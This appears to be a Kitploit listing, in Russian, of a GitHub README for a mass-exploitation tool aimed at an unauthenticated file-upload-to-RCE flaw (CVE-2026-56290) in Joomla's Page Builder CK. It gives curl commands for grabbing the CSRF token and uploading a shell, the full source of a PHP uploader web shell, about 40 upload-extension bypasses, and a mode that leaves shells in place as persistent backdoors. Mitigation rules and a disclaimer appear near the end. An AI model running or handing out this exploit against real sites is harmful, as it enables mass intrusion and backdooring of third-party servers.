Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pbck-exploit — 📤 Фреймворк массовой эксплуатации для CVE-2026-56290 — Page Builder CK Joomla неавторизованная загрузка файлов до RCE | Kitploit
Инструменты/GitHubGitHub/shinthink/pbck-exploit
РазведкаСканеры уязвимостейФреймворки для эксплойтовЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubshinthink/pbck-exploit

pbck-exploit

📤 Фреймворк массовой эксплуатации для CVE-2026-56290 — Page Builder CK Joomla неавторизованная загрузка файлов до RCE

Репозиторий
31 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PBCK-Exploit — CVE-2026-56290 Joomla Page Builder CK Exploit

Python CVE License

Discovery CSRF RCE Cleanup Live

Фреймворк массовой эксплуатации и валидации для Joomla Page Builder CK

Неаутентифицированная произвольная загрузка файлов → Удаленное выполнение кода



📑 Содержание

  • Обзор уязвимости
  • Затронутые версии
  • Возможности
  • Установка
  • Использование
  • Доказательство концепции
  • Техническое погружение
  • Методология обнаружения
  • Защита и смягчение
  • Отказ от ответственности
  • Ссылки

🔴 Обзор уязвимости

CVE-2026-56290 — это критическая уязвимость в Page Builder CK (com_pagebuilderck), популярном расширении для построения страниц Joomla. Метод контроллера browse.ajaxAddPicture принимает неаутентифицированные загрузки файлов с управляемым пользователем путем назначения, что позволяет злоумышленникам записывать произвольные PHP-файлы в веб-доступные каталоги.

Основная причина

root@kitploit:~
// browse.php controller — NO authentication check
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← user-controlled file
    $path  = trim($input->get('path', ''));       // ← user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

Параметр path проходит только trim() санитацию — никакого белого списка, проверки обхода каталогов или шлюза аутентификации. В сочетании с CSRF-токеном, который доступен публично на любой странице Joomla, злоумышленники могут удаленно загружать PHP-шеллы в любой каталог с правом записи.

Воздействие

ВекторСерьезностьВоздействие
Неаутентифицированная загрузка файла

Цепочка атаки

root@kitploit:~
1. ЗАПРОС главной страницы Joomla → получить CSRF-токен (hex32 + значение "1")
2. POST-запрос на загрузку файла   → task=browse.ajaxAddPicture&{token}=1
3. PHP-шелл помещается в           → media/com_pagebuilderck/gfonts/shell.php
4. GET-запрос к URL шелла          → код выполняется, RCE подтвержден
5. POST f=@file на шелл            → загрузка дополнительных инструментов
6. GET ?cleanup=1                   → шелл самоуничтожается

🟠 Затронутые версии

Примечание: Версия определяется из файла манифеста Joomla по адресу /administrator/manifests/files/com_pagebuilderck.xml. Если манифест недоступен, сканер по умолчанию считает цель потенциально уязвимой.


✨ Возможности


📦 Установка

root@kitploit:~
# Клонирование репозитория
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Установка зависимостей
pip install -r requirements.txt

# Проверка
python cve_2026_56290.py --help

Требования

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

📖 Использование

Аргументы командной строки

root@kitploit:~
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator

  -t, --target        URL одиночной цели
  -f, --file          Файл с URL целей (по одному на строку, # для комментариев)
  -o, --output        Выходной TXT-файл в реальном времени (по умолчанию: cve-2026-56290_live.txt)
  --json              Путь к JSON-отчету (по умолчанию: cve-2026-56290_report.json)
  --threads           Количество параллельных потоков (по умолчанию: 20)
  --timeout           Таймаут запроса в секундах (по умолчанию: 15)
  --no-cleanup        Оставить шеллы на цели (постоянный бэкдор)
  -v, --verbose       Подробный вывод обнаружения конечных точек
  --known-endpoint    Пропустить обнаружение: task,file_param,folder_param

Основные примеры

root@kitploit:~
# Одиночная цель
python cve_2026_56290.py -t https://target.com

# Массовое сканирование из файла
python cve_2026_56290.py -f targets.txt

# Пользовательский вывод + подробный
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Оставить шеллы (постоянный бэкдор)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Пропустить обнаружение с известной конечной точкой
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

Формат файла целей

root@kitploit:~
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# комментарии и пустые строки игнорируются

🧪 Доказательство концепции

Сценарий 1: Массовое сканирование с выводом в реальном времени

root@kitploit:~
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
root@kitploit:~
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 целей | 20 потоков | очистка=да
  TXT в реальном времени: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [rce_confirmed]  12.4с
     PBCK: 3.4.7 [УЯЗВ]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     Шелл : https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     Использование: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [patched]  3.2с

  ✅ https://target-vuln2.com  [rce_confirmed]  15.1с
     PBCK: 3.1.0 [УЯЗВ]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     Шелл : https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     Использование: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  СВОДКА СКАНИРОВАНИЯ
==================================================
  Всего            : 5
  ✅ RCE подтверждено: 2
  ⚠️  RCE не удалось : 1
  🛡️  Исправлено    : 1
  🔍 Требуется анализ: 0
  ❌ Не Joomla    : 0
  ⏭️  Нет компонента : 1
  💥 Ошибки        : 0
==================================================

Сценарий 2: Ручное воспроизведение (curl + Python)

Шаг 1 — Получение CSRF-токена

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

Шаг 2 — Загрузка PHP-шелла

root@kitploit:~
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

Шаг 3 — Проверка RCE

root@kitploit:~
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → Вывод PHP-шелла, подтверждает выполнение кода

Сценарий 3: Полезная нагрузка PHP-шелла

Сканер развертывает автономный шелл-загрузчик — без exec(), system() или eval():

root@kitploit:~
<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>

Возможности шелла:

  • 📤 Загрузка дополнительных файлов через POST f=@file
  • 🧹 Самоуничтожение через ?cleanup=1
  • 🔑 Валидация на основе токена (сканер проверяет уникальный токен в выводе)

🔬 Техническое погружение

Архитектура

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                     PBCK-EXPLOIT                        │
├──────────────────┬──────────────────────────────────────┤
│   ФАЗА РАЗВЕДКИ │           ФАЗА ЭКСПЛУАТАЦИИ           │
│                  │                                      │
│  ┌────────────┐  │  ┌──────────────┐  ┌──────────────┐  │
│  │ Обнаружение│  │  │ Брутфорс     │  │ Сетка обхода  │  │
│  │ Joomla     │  │  │ конечных     │  │ расширений   │  │
│  │ (2 фазы)   │  │  │ точек (1000+  │  │ (40+ расшир.)│  │
│  │            │  │  │ комбинаций)   │  │              │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │  ┌──────▼───────┐  ┌──────▼───────┐  │
│  │ Обнаружение│  │  │ Сборщик      │  │ Развертывание│  │
│  │ PBCK       │  │  │ CSRF-токенов │  │ PHP-шелла    │  │
│  │ (зонды)    │  │  │ (5 страниц)  │  │ (20+ путей)  │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │         │           ┌──────▼───────┐  │
│  │ Проверка   │  │         │           │ Валидация    │  │
│  │ версии     │  │         │           │ + очистка    │  │
│  └────────────┘  │         │           └──────────────┘  │
└──────────────────┴──────────────────────────────────────┘

Стратегия обнаружения конечных точек

Сканер использует многоуровневый брутфорс с ограничением времени на цель (15 с):

Каждая комбинация: загрузить пробный .txt → проверить через GET → совпадение при успехе. Возвращается немедленно при подтверждении.

Философия обхода расширений

CKFile::makeSafe() блокирует .php в некоторых конфигурациях. Стратегия обхода:

root@kitploit:~
Уровень 1: Быстро
  php, PHP, pht, phar
         ↓ (если заблокировано)
Уровень 2: Смена регистра
  Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
         ↓ (если заблокировано)
Уровень 3: Альтернативные обработчики
  php3, php4, php5, php6, php7, php8, phtml, shtml, inc
         ↓ (если заблокировано)
Уровень 4: Двойные расширения
  php.jpg, jpg.php, php.png, php.gif, php.txt
         ↓ (если заблокировано)
Уровень 5: Трюки для Windows
  php., PHP., php. , php.SWF

Сбор CSRF-токенов

CSRF-токен Joomla встроен в каждую страницу — главная, логин, регистрация, контактные формы, админка:

root@kitploit:~
CSRF_PAGES = [
    "",                                                            # главная страница
    "/index.php?option=com_users&view=login",                       # вход
    "/index.php?option=com_users&view=registration",                # регистрация
    "/index.php?option=com_contact&view=contact&id=1",              # контакты
    "/administrator/index.php",                                     # вход в админку
]

Шаблон A — скрытое поле HTML: <input type="hidden" name="<hex32>" value="1">

Шаблон B — JSON-конфиг: "csrf.token":"<hex32>"


🔍 Методология обнаружения

Обнаружение Joomla (2 фазы)

Фаза 1 — HTML-отпечатки (быстро, однозначно)

  • Мета-тег Generator, содержащий "Joomla!"
  • Структурные элементы: <jdoc:include>, joomla-script-options, "csrf.token"
  • Шаблоны путей: /components/com_, /modules/mod_, /plugins/system/
  • Анализ сессионных cookie

Фаза 2 — Зондирование панели администратора (запасной вариант)

  • Запрос страницы /administrator/
  • Проверка Joomla-специфичных маркеров админки: name="username", mod-login-, administrator/templates/

Обнаружение PBCK (3 уровня)

Уровень 1 — Сильные индикаторы HTML

root@kitploit:~
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck

Уровень 2 — Слабые индикаторы HTML с подтверждением

root@kitploit:~
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)

Уровень 3 — Прямые зонды файлов (обнаруживает установки, где PBCK нет на главной)

root@kitploit:~
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml

🛡️ Защита и смягчение

1. Немедленное обновление

root@kitploit:~
# Обновить Page Builder CK до последней исправленной версии
# Проверить: https://extensions.joomla.org/extension/page-builder-ck/

2. Блокировка конечной точки загрузки

root@kitploit:~
# Nginx — блокировать неаутентифицированный доступ к контроллеру загрузки
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
    deny all;
}
root@kitploit:~
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]

3. Ужесточение выполнения PHP в каталогах с правом записи

root@kitploit:~
# .htaccess в media/ — отключить выполнение PHP
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

4. Аудит вашей инфраструктуры

root@kitploit:~
# Сканирование собственной инфраструктуры
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt

⚠️ Отказ от ответственности

🚨 ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ

Данное программное обеспечение предоставляется исключительно для образовательных целей и легитимных исследований безопасности. Оно предназначено для использования:

  • 🛡️ Специалистами по безопасности при проведении авторизованных пентестов
  • 🏢 Организациями, проводящими аудит собственной инфраструктуры Joomla
  • 🔬 Исследователями, изучающими методы эксплуатации уязвимостей
  • 🎓 Студентами, изучающими безопасность веб-приложений

❌ Вам НЕ разрешается использовать это программное обеспечение для:

  • Доступа к компьютерным системам без явного письменного разрешения
  • Компрометации, повреждения или нарушения работы систем, которые вам не принадлежат
  • Участия в незаконной деятельности любого рода

⚖️ Юридическое уведомление

Несанкционированный доступ к компьютерным системам нарушает законы, включая, но не ограничиваясь:

  • США: Закон о компьютерном мошенничестве и злоупотреблении (18 U.S.C. § 1030)
  • Индонезия: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • Европейский союз: Директива 2013/40/EU
  • Великобритания: Закон о неправомерном использовании компьютеров 1990 года

Автор(ы) НЕ НЕСУТ НИКАКОЙ ОТВЕТСТВЕННОСТИ за любое неправильное использование, ущерб или юридические последствия, возникшие в результате использования этого инструмента. Используя данное программное обеспечение, вы подтверждаете, что несете единоличную ответственность за свои действия и соглашаетесь соблюдать все применимые законы.


📚 Ссылки


⚡ Создано с точностью для сообщества исследователей безопасности ⚡

Joomla® является зарегистрированным товарным знаком Open Source Matters, Inc.
Данный проект не аффилирован с Joomla, Open Source Matters или Page Builder CK и не одобрен ими.

Скачать инструмент
9.8 (Критический)
Произвольное выполнение PHP-кода
Получение CSRF-токена5.3 (Средний)Обеспечивает цепочку загрузки
Раскрытие информации5.3 (Средний)Определение версии расширения
Версия Page Builder CKСтатусПримечания
3.1.1 и ниже🔴 УязвимоПодтверждена неаутентифицированная загрузка
3.4.10 и ниже🔴 УязвимоРасширенный диапазон по результатам анализа
3.5.10 и ниже🔴 УязвимоВозможно существуют исправленные варианты
> 3.5.10🟢 Возможно исправленоПроверить по manifest.xml

🔍 Разведка

  • Обнаружение Joomla — 2 фазы: HTML-отпечатки + зондирование панели администратора
  • Обнаружение PBCK — прямые зонды по путям + сопоставление HTML-шаблонов
  • Извлечение версии — парсинг manifest.xml + запасной вариант через регулярные выражения HTML
  • Получение CSRF-токена — извлечение токена с нескольких страниц (главная, логин, регистрация, админка)
  • Брутфорс конечных точек — 1000+ комбинаций task/param/path с ограничением по времени

💀 Эксплуатация

  • 40+ обходов расширений — смена регистра, нумерованные варианты, двойные расширения, трюки для Windows
  • 20+ целевых путей — каталоги расширений, доступные для записи каталоги Joomla, пути обхода
  • Валидация шелла — подтверждение выполнения PHP на основе токена
  • Автоочистка — шеллы самоуничтожаются после валидации (?cleanup=1)
  • Вывод в TXT в реальном времени — потокобезопасная запись результатов в файл
  • JSON-отчет — структурированный отчет с полной информацией по каждой цели
УровеньЗадачи (task)Параметры файла (file)Параметры папки (folder)Пути назначения (dest)Всего комбинаций
Уровень 1 (подтверждено)browse.ajaxAddPicture + 3 другихfile, Filedatapath, folder, dirТоп-4 каталогов PBCK96
Уровень 2 (полная сетка)12 задач4 параметра5 параметров20+ путей4,800+
РесурсСсылка
Запись NVDCVE-2026-56290
Безопасность Joomladeveloper.joomla.org/security
Page Builder CKextensions.joomla.org
OWASP File UploadНеограниченная загрузка файлов